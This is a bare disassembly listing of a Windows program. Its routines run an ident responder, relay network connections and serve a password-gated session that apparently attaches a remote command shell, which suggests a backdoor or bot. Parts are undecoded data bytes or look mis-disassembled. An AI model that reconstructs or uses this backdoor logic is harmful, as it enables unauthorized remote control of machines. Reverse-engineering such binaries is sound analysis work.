		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		db 0E8h, 7Fh, 1
		dd 8B900226h, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 0B4E89032h, 0EB022600h, 0F9E890EDh
		dd 500226FAh, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2BF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 35F54FE8h, 0C0859002h, 45E82975h
		dd 900226F5h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0FA3FE850h, 8B900225h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0F975E832h, 0EB900225h, 0B9E890EDh, 500226F3h, 43422468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680DC8h


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 277032Fh
		nop
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2680DC8h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F0B2Fh


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_4343F4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

